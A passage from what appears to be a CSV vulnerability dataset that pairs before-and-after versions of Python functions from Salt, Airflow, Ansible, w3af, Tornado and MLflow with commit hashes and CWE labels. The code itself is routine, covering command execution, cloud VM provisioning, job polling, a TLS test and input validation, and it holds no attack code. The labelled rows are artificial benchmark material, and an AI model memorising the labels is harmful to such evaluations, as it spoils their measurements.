        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
            salt.utils.chugid_and_umask,
            runas,
            _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    if python_shell is not True and not isinstance(cmd, list):
        cmd = shlex.split(cmd)
    if not use_vt:
        # This is where the magic happens
        try:
            proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
        except (OSError, IOError) as exc:
            raise CommandExecutionError(
                'Unable to run command {0!r} with the context {1!r}, reason: {2}'
                .format(cmd, kwargs, exc)
            )

        try:
            proc.wait(timeout)
        except TimedProcTimeoutError as exc:
            ret['stdout'] = str(exc)
            ret['stderr'] = ''
            ret['retcode'] = None
            ret['pid'] = proc.process.pid
            # ok return code for timeouts?
            ret['retcode'] = 1
            return ret

        out, err = proc.stdout, proc.stderr

        if rstrip:
            if out is not None:
                out = out.rstrip()
            if err is not None:
                err = err.rstrip()
        ret['pid'] = proc.process.pid
        ret['retcode'] = proc.process.returncode
        ret['stdout'] = out
        ret['stderr'] = err
    else:
        to = ''
        if timeout:
            to = ' (timeout: {0}s)'.format(timeout)
        log.debug('Running {0} in VT{1}'.format(cmd, to))
        stdout, stderr = '', ''
        now = time.time()
        if timeout:
            will_timeout = now + timeout
        else:
            will_timeout = -1
        try:
            proc = vt.Terminal(cmd,
                               shell=True,
                               log_stdout=True,
                               log_stderr=True,
                               cwd=cwd,
                               preexec_fn=kwargs.get('preexec_fn', None),
                               env=run_env,
                               log_stdin_level=output_loglevel,
                               log_stdout_level=output_loglevel,
                               log_stderr_level=output_loglevel,
                               stream_stdout=True,
                               stream_stderr=True)
            # consume output
            finished = False
            ret['pid'] = proc.pid
            while not finished:
                try:
                    try:
                        time.sleep(0.5)
                        try:
                            cstdout, cstderr = proc.recv()
                        except IOError:
                            cstdout, cstderr = '', ''
                        if cstdout:
                            stdout += cstdout
                        else:
                            cstdout = ''
                        if cstderr:
                            stderr += cstderr
                        else:
                            cstderr = ''
                        if not cstdout and not cstderr and not proc.isalive():
                            finished = True
                        if timeout and (time.time() > will_timeout):
                            ret['stderr'] = (
                                'SALT: Timeout after {0}s\n{1}').format(
                                    timeout, stderr)
                            ret['retcode'] = None
                            break
                    except KeyboardInterrupt:
                        ret['stderr'] = 'SALT: User break\n{0}'.format(stderr)
                        ret['retcode'] = 1
                        break
                except vt.TerminalException as exc:
                    log.error(
                        'VT: {0}'.format(exc),
                        exc_info_on_loglevel=logging.DEBUG)
                    ret = {'retcode': 1, 'pid': '2'}
                    break
                # only set stdout on success as we already mangled in other
                # cases
                ret['stdout'] = stdout
                if finished:
                    ret['stderr'] = stderr
                    ret['retcode'] = proc.exitstatus
                ret['pid'] = proc.pid
        finally:
            proc.close(terminate=True, kill=True)
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/softlayer.py,0,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'softlayer',
                                                           vm_['profile'],
                                                           vm_=vm_) is False:
            return False
    except AttributeError:
        pass

    # Since using ""provider: <provider-engine>"" is deprecated, alias provider
    # to use driver: ""driver: <provider-engine>""
    if 'provider' in vm_:
        vm_['driver'] = vm_.pop('provider')

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM {0}'.format(vm_['name']))
    conn = get_conn()
    kwargs = {
        'hostname': vm_['name'],
        'domain': vm_['domain'],
        'startCpus': vm_['cpu_number'],
        'maxMemory': vm_['ram'],
        'hourlyBillingFlag': vm_['hourly_billing'],
    }

    local_disk_flag = config.get_cloud_config_value(
        'local_disk', vm_, __opts__, default=False
    )
    kwargs['localDiskFlag'] = local_disk_flag

    if 'image' in vm_:
        kwargs['operatingSystemReferenceCode'] = vm_['image']
        kwargs['blockDevices'] = []
        disks = vm_['disk_size']

        if isinstance(disks, int):
            disks = [str(disks)]
        elif isinstance(disks, str):
            disks = [size.strip() for size in disks.split(',')]

        count = 0
        for disk in disks:
            # device number '1' is reserved for the SWAP disk
            if count == 1:
                count += 1
            block_device = {'device': str(count),
                            'diskImage': {'capacity': str(disk)}}
            kwargs['blockDevices'].append(block_device)
            count += 1

            # Upper bound must be 5 as we're skipping '1' for the SWAP disk ID
            if count > 5:
                log.warning('More that 5 disks were specified for {0} .'
                            'The first 5 disks will be applied to the VM, '
                            'but the remaining disks will be ignored.\n'
                            'Please adjust your cloud configuration to only '
                            'specify a maximum of 5 disks.'.format(vm_['name']))
                break

    elif 'global_identifier' in vm_:
        kwargs['blockDeviceTemplateGroup'] = {
            'globalIdentifier': vm_['global_identifier']
        }

    location = get_location(vm_)
    if location:
        kwargs['datacenter'] = {'name': location}

    private_vlan = config.get_cloud_config_value(
        'private_vlan', vm_, __opts__, default=False
    )
    if private_vlan:
        kwargs['primaryBackendNetworkComponent'] = {
            'networkVlan': {
                'id': private_vlan,
            }
        }

    private_network = config.get_cloud_config_value(
        'private_network', vm_, __opts__, default=False
    )
    if bool(private_network) is True:
        kwargs['privateNetworkOnlyFlag'] = 'True'

    public_vlan = config.get_cloud_config_value(
        'public_vlan', vm_, __opts__, default=False
    )
    if public_vlan:
        kwargs['primaryNetworkComponent'] = {
            'networkVlan': {
                'id': public_vlan,
            }
        }

    max_net_speed = config.get_cloud_config_value(
        'max_net_speed', vm_, __opts__, default=10
    )
    if max_net_speed:
        kwargs['networkComponents'] = [{
            'maxSpeed': int(max_net_speed)
        }]

    post_uri = config.get_cloud_config_value(
        'post_uri', vm_, __opts__, default=None
    )
    if post_uri:
        kwargs['postInstallScriptUri'] = post_uri

    salt.utils.cloud.fire_event(
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(vm_['name']),
        {'kwargs': kwargs},
        transport=__opts__['transport']
    )

    try:
        response = conn.createObject(kwargs)
    except Exception as exc:
        log.error(
            'Error creating {0} on SoftLayer\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: \n{1}'.format(
                vm_['name'], str(exc)
            ),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False

    ip_type = 'primaryIpAddress'
    private_ssh = config.get_cloud_config_value(
        'private_ssh', vm_, __opts__, default=False
    )
    private_wds = config.get_cloud_config_value(
        'private_windows', vm_, __opts__, default=False
    )
    if private_ssh or private_wds:
        ip_type = 'primaryBackendIpAddress'

    def wait_for_ip():
        '''
        Wait for the IP address to become available
        '''
        nodes = list_nodes_full()
        if ip_type in nodes[vm_['name']]:
            return nodes[vm_['name']][ip_type]
        time.sleep(1)
        return False

    ip_address = salt.utils.cloud.wait_for_fun(
        wait_for_ip,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    if config.get_cloud_config_value('deploy', vm_, __opts__) is not True:
        return show_instance(vm_['name'], call='action')

    SSH_PORT = 22
    WINDOWS_DS_PORT = 445
    managing_port = SSH_PORT
    if config.get_cloud_config_value('windows', vm_, __opts__) or \
            config.get_cloud_config_value('win_installer', vm_, __opts__):
        managing_port = WINDOWS_DS_PORT

    ssh_connect_timeout = config.get_cloud_config_value(
        'ssh_connect_timeout', vm_, __opts__, 15 * 60
    )
    connect_timeout = config.get_cloud_config_value(
        'connect_timeout', vm_, __opts__, ssh_connect_timeout
    )
    if not salt.utils.cloud.wait_for_port(ip_address,
                                          port=managing_port,
                                          timeout=connect_timeout):
        raise SaltCloudSystemExit(
            'Failed to authenticate against remote ssh'
        )

    pass_conn = get_conn(service='SoftLayer_Account')
    mask = {
        'virtualGuests': {
            'powerState': '',
            'operatingSystem': {
                'passwords': ''
            },
        },
    }

    def get_credentials():
        '''
        Wait for the password to become available
        '''
        node_info = pass_conn.getVirtualGuests(id=response['id'], mask=mask)
        for node in node_info:
            if node['id'] == response['id'] and \
                            'passwords' in node['operatingSystem'] and \
                            len(node['operatingSystem']['passwords']) > 0:
                return node['operatingSystem']['passwords'][0]['username'], node['operatingSystem']['passwords'][0]['password']
        time.sleep(5)
        return False

    username, passwd = salt.utils.cloud.wait_for_fun(  # pylint: disable=W0633
        get_credentials,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    response['username'] = username
    response['password'] = passwd
    response['public_ip'] = ip_address

    ssh_username = config.get_cloud_config_value(
        'ssh_username', vm_, __opts__, default=username
    )

    vm_['ssh_host'] = ip_address
    vm_['password'] = passwd
    ret = salt.utils.cloud.bootstrap(vm_, __opts__)

    ret.update(response)

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    return ret",,saltstack/salt,2d592a398efb0b48136b0cb04f3a437166278110,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'softlayer',
                                                           vm_['profile']) is False:
            return False
    except AttributeError:
        pass

    # Since using ""provider: <provider-engine>"" is deprecated, alias provider
    # to use driver: ""driver: <provider-engine>""
    if 'provider' in vm_:
        vm_['driver'] = vm_.pop('provider')

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM {0}'.format(vm_['name']))
    conn = get_conn()
    kwargs = {
        'hostname': vm_['name'],
        'domain': vm_['domain'],
        'startCpus': vm_['cpu_number'],
        'maxMemory': vm_['ram'],
        'hourlyBillingFlag': vm_['hourly_billing'],
    }

    local_disk_flag = config.get_cloud_config_value(
        'local_disk', vm_, __opts__, default=False
    )
    kwargs['localDiskFlag'] = local_disk_flag

    if 'image' in vm_:
        kwargs['operatingSystemReferenceCode'] = vm_['image']
        kwargs['blockDevices'] = []
        disks = vm_['disk_size']

        if isinstance(disks, int):
            disks = [str(disks)]
        elif isinstance(disks, str):
            disks = [size.strip() for size in disks.split(',')]

        count = 0
        for disk in disks:
            # device number '1' is reserved for the SWAP disk
            if count == 1:
                count += 1
            block_device = {'device': str(count),
                            'diskImage': {'capacity': str(disk)}}
            kwargs['blockDevices'].append(block_device)
            count += 1

            # Upper bound must be 5 as we're skipping '1' for the SWAP disk ID
            if count > 5:
                log.warning('More that 5 disks were specified for {0} .'
                            'The first 5 disks will be applied to the VM, '
                            'but the remaining disks will be ignored.\n'
                            'Please adjust your cloud configuration to only '
                            'specify a maximum of 5 disks.'.format(vm_['name']))
                break

    elif 'global_identifier' in vm_:
        kwargs['blockDeviceTemplateGroup'] = {
            'globalIdentifier': vm_['global_identifier']
        }

    location = get_location(vm_)
    if location:
        kwargs['datacenter'] = {'name': location}

    private_vlan = config.get_cloud_config_value(
        'private_vlan', vm_, __opts__, default=False
    )
    if private_vlan:
        kwargs['primaryBackendNetworkComponent'] = {
            'networkVlan': {
                'id': private_vlan,
            }
        }

    private_network = config.get_cloud_config_value(
        'private_network', vm_, __opts__, default=False
    )
    if bool(private_network) is True:
        kwargs['privateNetworkOnlyFlag'] = 'True'

    public_vlan = config.get_cloud_config_value(
        'public_vlan', vm_, __opts__, default=False
    )
    if public_vlan:
        kwargs['primaryNetworkComponent'] = {
            'networkVlan': {
                'id': public_vlan,
            }
        }

    max_net_speed = config.get_cloud_config_value(
        'max_net_speed', vm_, __opts__, default=10
    )
    if max_net_speed:
        kwargs['networkComponents'] = [{
            'maxSpeed': int(max_net_speed)
        }]

    post_uri = config.get_cloud_config_value(
        'post_uri', vm_, __opts__, default=None
    )
    if post_uri:
        kwargs['postInstallScriptUri'] = post_uri

    salt.utils.cloud.fire_event(
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(vm_['name']),
        {'kwargs': kwargs},
        transport=__opts__['transport']
    )

    try:
        response = conn.createObject(kwargs)
    except Exception as exc:
        log.error(
            'Error creating {0} on SoftLayer\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: \n{1}'.format(
                vm_['name'], str(exc)
            ),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False

    ip_type = 'primaryIpAddress'
    private_ssh = config.get_cloud_config_value(
        'private_ssh', vm_, __opts__, default=False
    )
    private_wds = config.get_cloud_config_value(
        'private_windows', vm_, __opts__, default=False
    )
    if private_ssh or private_wds:
        ip_type = 'primaryBackendIpAddress'

    def wait_for_ip():
        '''
        Wait for the IP address to become available
        '''
        nodes = list_nodes_full()
        if ip_type in nodes[vm_['name']]:
            return nodes[vm_['name']][ip_type]
        time.sleep(1)
        return False

    ip_address = salt.utils.cloud.wait_for_fun(
        wait_for_ip,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    if config.get_cloud_config_value('deploy', vm_, __opts__) is not True:
        return show_instance(vm_['name'], call='action')

    SSH_PORT = 22
    WINDOWS_DS_PORT = 445
    managing_port = SSH_PORT
    if config.get_cloud_config_value('windows', vm_, __opts__) or \
            config.get_cloud_config_value('win_installer', vm_, __opts__):
        managing_port = WINDOWS_DS_PORT

    ssh_connect_timeout = config.get_cloud_config_value(
        'ssh_connect_timeout', vm_, __opts__, 15 * 60
    )
    connect_timeout = config.get_cloud_config_value(
        'connect_timeout', vm_, __opts__, ssh_connect_timeout
    )
    if not salt.utils.cloud.wait_for_port(ip_address,
                                          port=managing_port,
                                          timeout=connect_timeout):
        raise SaltCloudSystemExit(
            'Failed to authenticate against remote ssh'
        )

    pass_conn = get_conn(service='SoftLayer_Account')
    mask = {
        'virtualGuests': {
            'powerState': '',
            'operatingSystem': {
                'passwords': ''
            },
        },
    }

    def get_credentials():
        '''
        Wait for the password to become available
        '''
        node_info = pass_conn.getVirtualGuests(id=response['id'], mask=mask)
        for node in node_info:
            if node['id'] == response['id'] and \
                            'passwords' in node['operatingSystem'] and \
                            len(node['operatingSystem']['passwords']) > 0:
                return node['operatingSystem']['passwords'][0]['username'], node['operatingSystem']['passwords'][0]['password']
        time.sleep(5)
        return False

    username, passwd = salt.utils.cloud.wait_for_fun(  # pylint: disable=W0633
        get_credentials,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    response['username'] = username
    response['password'] = passwd
    response['public_ip'] = ip_address

    ssh_username = config.get_cloud_config_value(
        'ssh_username', vm_, __opts__, default=username
    )

    vm_['ssh_host'] = ip_address
    vm_['password'] = passwd
    ret = salt.utils.cloud.bootstrap(vm_, __opts__)

    ret.update(response)

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/bigquery.py,0,"def cancel_job(
        self,
        job_id: str,
        project_id: Optional[str] = None,
        location: Optional[str] = None,
    ) -> None:
        """"""
        Cancel a job and wait for cancellation to complete

        :param job_id: id of the job.
        :param project_id: Google Cloud Project where the job is running
        :param location: location the job is running
        """"""
        location = location or self.location

        if self.poll_job_complete(job_id=job_id):
            self.log.info('No running BigQuery jobs to cancel.')
            return

        self.log.info('Attempting to cancel job : %s, %s', project_id, job_id)
        self.get_client(location=location, project_id=project_id).cancel_job(job_id=job_id)

        # Wait for all the calls to cancel to finish
        max_polling_attempts = 12
        polling_attempts = 0

        job_complete = False
        while polling_attempts < max_polling_attempts and not job_complete:
            polling_attempts += 1
            job_complete = self.poll_job_complete(job_id)
            if job_complete:
                self.log.info('Job successfully canceled: %s, %s', project_id, job_id)
            elif polling_attempts == max_polling_attempts:
                self.log.info(
                    ""Stopping polling due to timeout. Job with id %s ""
                    ""has not completed cancel and may or may not finish."",
                    job_id,
                )
            else:
                self.log.info('Waiting for canceled job with id %s to finish.', job_id)
                time.sleep(5)",CWE-Unknown,apache/airflow,e84d753015e5606c29537741cdbe8ae08012c3b6,"def cancel_job(
        self,
        job_id: str,
        project_id: Optional[str] = None,
        location: Optional[str] = None,
    ) -> None:
        """"""
        Cancels a job an wait for cancellation to complete

        :param job_id: id of the job.
        :param project_id: Google Cloud Project where the job is running
        :param location: location the job is running
        """"""
        location = location or self.location

        if self.poll_job_complete(job_id=job_id):
            self.log.info('No running BigQuery jobs to cancel.')
            return

        self.log.info('Attempting to cancel job : %s, %s', project_id, job_id)
        self.get_client(location=location, project_id=project_id).cancel_job(job_id=job_id)

        # Wait for all the calls to cancel to finish
        max_polling_attempts = 12
        polling_attempts = 0

        job_complete = False
        while polling_attempts < max_polling_attempts and not job_complete:
            polling_attempts += 1
            job_complete = self.poll_job_complete(job_id)
            if job_complete:
                self.log.info('Job successfully canceled: %s, %s', project_id, job_id)
            elif polling_attempts == max_polling_attempts:
                self.log.info(
                    ""Stopping polling due to timeout. Job with id %s ""
                    ""has not completed cancel and may or may not finish."",
                    job_id,
                )
            else:
                self.log.info('Waiting for canceled job with id %s to finish.', job_id)
                time.sleep(5)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,callbacks/osx_say.py,0,"def say(msg, voice):
    subprocess.call([""/usr/bin/say"", msg, ""--voice=%s"" % (voice)])",,ansible/ansible,8a9b8a727b211901351019252a08ded4c5d17e79,"def say(msg, voice):
    subprocess.call([""/usr/bin/say"", msg, ""--voice=%s"" % (voice)])"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api/client/json_client.py,0,"def _request(self, url, method='GET', json=None):
        params = {
            'url': url,
        }
        if json is not None:
            params['json'] = json
        resp = getattr(self._session, method.lower())(**params)
        if resp.is_error:
            # It is justified here because there might be many resp types.
            try:
                data = resp.json()
            except Exception:
                data = {}
            raise OSError(data.get('error', 'Server error'))

        return resp.json()",CWE-Unknown,apache/airflow,fbddefe5cbc0fe163c42ab070bc0d7e44c5cef5b,"def _request(self, url, method='GET', json=None):
        params = {
            'url': url,
        }
        if json is not None:
            params['json'] = json
        resp = getattr(self._session, method.lower())(**params)
        if not resp.ok:
            # It is justified here because there might be many resp types.
            try:
                data = resp.json()
            except Exception:
                data = {}
            raise OSError(data.get('error', 'Server error'))

        return resp.json()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/payloads/payloads/running_honeypot.py,0,"def parse_cpu_info( cpu_info ):
            processor = re.search('(?<=model name\t: )(.*)', cpu_info)
            if processor:
                return processor.group(1)
            else:
                return ''",,andresriancho/w3af,750a71b2d859110dfd783937aec8cadb50191582,"def parse_cpu_info( cpu_info ):
            processor = re.search('(?<=model name\t: )(.*)', cpu_info)
            if processor:
                return processor.group(1)
            else:
                return ''"
,UNKNOWN,UNKNOWN,providers/apache/hdfs/tests/unit/apache/hdfs/hooks/test_webhdfs.py,1,"def test_conn_mtls_combined_cert(self, socket_mock, mock_insecure_client):
        """"""Test mTLS configuration with combined client cert and key""""""
        with patch(
            ""airflow.providers.apache.hdfs.hooks.webhdfs.WebHDFSHook.get_connection"",
            return_value=Connection(
                host=""host_1"",
                port=123,
                extra={
                    ""use_ssl"": ""True"",
                    ""cert"": ""/path/to/combined.pem"",
                },
            ),
        ) as mock_get_connection:
            socket_mock.socket.return_value.connect_ex.return_value = 0
            self.webhdfs_hook.get_conn()
            connection = mock_get_connection.return_value

            assert f""https://{connection.host}:{connection.port}"" == mock_insecure_client.call_args.args[0]
            assert mock_insecure_client.call_args.kwargs[""session""].cert == (""/path/to/combined.pem"")",CWE-703,apache/airflow,ad7f8c7f8694446a189644972732b1d95bc0435a,"def test_conn_mtls_combined_cert(self, socket_mock, mock_insecure_client):
        """"""Test mTLS configuration with combined client cert and key""""""
        with patch(
            ""airflow.providers.apache.hdfs.hooks.webhdfs.WebHDFSHook.get_connection"",
            return_value=Connection(
                host=""host_1"",
                port=123,
                extra={
                    ""use_ssl"": ""True"",
                    ""cert"": ""/path/to/combined.pem"",
                },
            ),
        ) as mock_get_connection:
            socket_mock.socket.return_value.connect_ex.return_value = 0
            self.webhdfs_hook.get_conn()
            connection = mock_get_connection.return_value

            assert f""https://{connection.host}:{connection.port}"" == mock_insecure_client.call_args.args[0]
            assert mock_insecure_client.call_args.kwargs[""session""].cert == (""/path/to/combined.pem"")"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def __init__(self, io_loop, request):
        self.connect_future = TracebackFuture()
        self.read_future = None
        self.read_queue = collections.deque()
        self.key = base64.b64encode(os.urandom(16))

        scheme, sep, rest = request.url.partition(':')
        scheme = {'ws': 'http', 'wss': 'https'}[scheme]
        request.url = scheme + sep + rest
        request.headers.update({
            'Upgrade': 'websocket',
            'Connection': 'Upgrade',
            'Sec-WebSocket-Key': self.key,
            'Sec-WebSocket-Version': '13',
        })

        self.resolver = Resolver(io_loop=io_loop)
        super(WebSocketClientConnection, self).__init__(
            io_loop, None, request, lambda: None, self._on_http_response,
            104857600, self.resolver)",CWE-Unknown,tornadoweb/tornado,491ec5cebb34e5f3b318f9f8c15988f3ce88ff75,"def __init__(self, io_loop, request):
        self.connect_future = TracebackFuture()
        self.read_future = None
        self.read_queue = collections.deque()
        self.key = base64.b64encode(os.urandom(16))

        scheme, sep, rest = request.url.partition(':')
        scheme = {'ws': 'http', 'wss': 'https'}[scheme]
        request.url = scheme + sep + rest
        request.headers.update({
            'Upgrade': 'websocket',
            'Connection': 'Upgrade',
            'Sec-WebSocket-Key': self.key,
            'Sec-WebSocket-Version': '13',
        })

        self.resolver = Resolver(io_loop=io_loop)
        super(WebSocketClientConnection, self).__init__(
            io_loop, None, request, lambda: None, self._on_http_response,
            104857600, self.resolver)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/types/llm.py,0,"def __post_init__(self):
        self._validate_field(""temperature"", float, True)
        self._validate_field(""max_tokens"", int, False)
        self._validate_list(""stop"", str, False)
        self._validate_field(""n"", int, True)
        self._validate_field(""stream"", bool, True)

        self._validate_field(""top_p"", float, False)
        self._validate_field(""top_k"", int, False)
        self._validate_field(""frequency_penalty"", float, False)
        self._validate_field(""presence_penalty"", float, False)
        self._convert_dataclass_list(""tools"", ToolDefinition, False)

        # validate that the custom_inputs field is a map from string to string
        if self.custom_inputs is not None:
            if not isinstance(self.custom_inputs, dict):
                raise ValueError(
                    ""Expected `custom_inputs` to be a dictionary, ""
                    f""received `{type(self.custom_inputs).__name__}`""
                )
            for key, value in self.custom_inputs.items():
                if not isinstance(key, str):
                    raise ValueError(
                        ""Expected `custom_inputs` to be of type `Dict[str, Any]`, ""
                        f""received key of type `{type(key).__name__}` (key: {key})""
                    )",,mlflow/mlflow,69b21115f6c4814449bc29fa2afad0c4ce882bbc,"def __post_init__(self):
        self._validate_field(""temperature"", float, True)
        self._validate_field(""max_tokens"", int, False)
        self._validate_list(""stop"", str, False)
        self._validate_field(""n"", int, True)
        self._validate_field(""stream"", bool, True)

        self._validate_field(""top_p"", float, False)
        self._validate_field(""top_k"", int, False)
        self._validate_field(""frequency_penalty"", float, False)
        self._validate_field(""presence_penalty"", float, False)
        self._convert_dataclass_list(""tools"", ToolDefinition, False)

        # validate that the custom_inputs field is a map from string to string
        if self.custom_inputs is not None:
            if not isinstance(self.custom_inputs, dict):
                raise ValueError(
                    ""Expected `custom_inputs` to be a dictionary, ""
                    f""received `{type(self.custom_inputs).__name__}`""
                )
            for key, value in self.custom_inputs.items():
                if not isinstance(key, str):
                    raise ValueError(
                        ""Expected `custom_inputs` to be of type `Dict[str, Any]`, ""
                        f""received key of type `{type(key).__name__}` (key: {key})""
                    )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/__init__.py,0,"def get_delegated_hosts(self, result, task):
        host_name = result.get('_ansible_delegated_vars', {}).get('ansible_delegated_host', None)
        if host_name is not None:
            actual_host = self._inventory.get_host(host_name)
            if actual_host is None:
                actual_host = Host(name=host_name)
        else:
            actual_host = Host(name=task.delegate_to)

        return [actual_host]",,ansible/ansible,773644e35c77582c4743896cd675d47b4bffb2a4,"def get_delegated_hosts(self, result, task):
        host_name = result.get('_ansible_delegated_vars', {}).get('ansible_delegated_host', None)
        if host_name is not None:
            actual_host = self._inventory.get_host(host_name)
            if actual_host is None:
                actual_host = Host(name=host_name)
        else:
            actual_host = Host(name=task.delegate_to)

        return [actual_host]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/utils.py,0,"def __init__(self, input_example: ModelInputExample):
        try:
            import pyspark.sql

            if isinstance(input_example, pyspark.sql.DataFrame):
                raise MlflowException(
                    ""Examples can not be provided as Spark Dataframe. ""
                    ""Please make sure your example is of a small size and ""
                    ""turn it into a pandas DataFrame.""
                )
        except ImportError:
            pass

        self.info = {
            INPUT_EXAMPLE_PATH: EXAMPLE_FILENAME,
        }

        self._inference_data, self._inference_params = _split_input_data_and_params(
            deepcopy(input_example)
        )
        if self._inference_params:
            self.info[EXAMPLE_PARAMS_KEY] = ""true""
        model_input = deepcopy(self._inference_data)

        is_unified_llm_input = False
        if isinstance(model_input, dict):
            """"""
            Supported types are:
            - Dict[str, Union[DataType, List, Dict]] --> type: json_object
            - Dict[str, numpy.ndarray] --> type: ndarray
            """"""
            if any(isinstance(values, np.ndarray) for values in model_input.values()):
                if not all(isinstance(values, np.ndarray) for values in model_input.values()):
                    raise MlflowException.invalid_parameter_value(
                        ""Mixed types in dictionary are not supported as input examples. ""
                        ""Found numpy arrays and other types.""
                    )
                self.info[""type""] = ""ndarray""
                model_input = _handle_ndarray_input(model_input)
                self.serving_input = {INPUTS: model_input}
            else:
                from mlflow.pyfunc.utils.serving_data_parser import is_unified_llm_input

                self.info[""type""] = ""json_object""
                is_unified_llm_input = is_unified_llm_input(model_input)
                if is_unified_llm_input:
                    self.serving_input = model_input
                else:
                    self.serving_input = {INPUTS: model_input}
        elif isinstance(model_input, np.ndarray):
            """"""type: ndarray""""""
            model_input = _handle_ndarray_input(model_input)
            self.info[""type""] = ""ndarray""
            self.serving_input = {INPUTS: model_input}
        elif isinstance(model_input, list):
            """"""
            Supported types are:
            - List[DataType]
            - List[Dict[str, Union[DataType, List, Dict]]]
            --> type: json_object
            """"""
            if _contains_nd_array(model_input):
                raise TensorsNotSupportedException(
                    ""Numpy arrays in list are not supported as input examples.""
                )
            self.info[""type""] = ""json_object""
            self.serving_input = {INPUTS: model_input}
        elif _is_sparse_matrix(model_input):
            """"""
            Supported types are:
            - scipy.sparse.csr_matrix
            - scipy.sparse.csc_matrix
            Note: This type of input is not supported by the scoring server yet
            """"""
            if isinstance(model_input, csc_matrix):
                example_type = ""sparse_matrix_csc""
            else:
                example_type = ""sparse_matrix_csr""
            self.info[""type""] = example_type
            self.serving_input = {INPUTS: model_input.toarray()}
            model_input = _handle_sparse_matrix(model_input)
        elif isinstance(model_input, pd.DataFrame):
            model_input = _convert_dataframe_to_split_dict(model_input)
            self.serving_input = {DF_SPLIT: model_input}
            orient = ""split"" if ""columns"" in model_input else ""values""
            self.info.update(
                {
                    ""type"": ""dataframe"",
                    ""pandas_orient"": orient,
                }
            )
        elif np.isscalar(model_input) or isinstance(model_input, dt.datetime):
            self.info[""type""] = ""json_object""
            self.serving_input = {INPUTS: model_input}
        else:
            raise MlflowException.invalid_parameter_value(
                ""Expected one of the following types:\n""
                ""- pandas.DataFrame\n""
                ""- numpy.ndarray\n""
                ""- dictionary of (name -> numpy.ndarray)\n""
                ""- scipy.sparse.csr_matrix\n""
                ""- scipy.sparse.csc_matrix\n""
                ""- dict\n""
                ""- list\n""
                ""- scalars\n""
                ""- datetime.datetime\n""
                f""but got '{type(model_input)}'"",
            )

        if self._inference_params is not None:
            """"""
            Save input data and params with their respective keys, so we can load them separately.
            """"""
            model_input = {
                EXAMPLE_DATA_KEY: model_input,
                EXAMPLE_PARAMS_KEY: self._inference_params,
            }
            if self.serving_input:
                if is_unified_llm_input:
                    self.serving_input = {
                        **(self.serving_input or {}),
                        **self._inference_params,
                    }
                else:
                    self.serving_input = {
                        **(self.serving_input or {}),
                        SERVING_PARAMS_KEY: self._inference_params,
                    }

        self.json_input_example = json.dumps(model_input, cls=NumpyEncoder)
        if self.serving_input:
            self.json_serving_input = json.dumps(self.serving_input, cls=NumpyEncoder, indent=2)
            self.info[SERVING_INPUT_PATH] = SERVING_INPUT_FILENAME
        else:
            self.json_serving_input = None",,mlflow/mlflow,0b1e7ec2d1e031136f15338b216e51d309be48b6,"def __init__(self, input_example: ModelInputExample):
        try:
            import pyspark.sql

            if isinstance(input_example, pyspark.sql.DataFrame):
                raise MlflowException(
                    ""Examples can not be provided as Spark Dataframe. ""
                    ""Please make sure your example is of a small size and ""
                    ""turn it into a pandas DataFrame.""
                )
        except ImportError:
            pass

        self.info = {
            INPUT_EXAMPLE_PATH: EXAMPLE_FILENAME,
        }

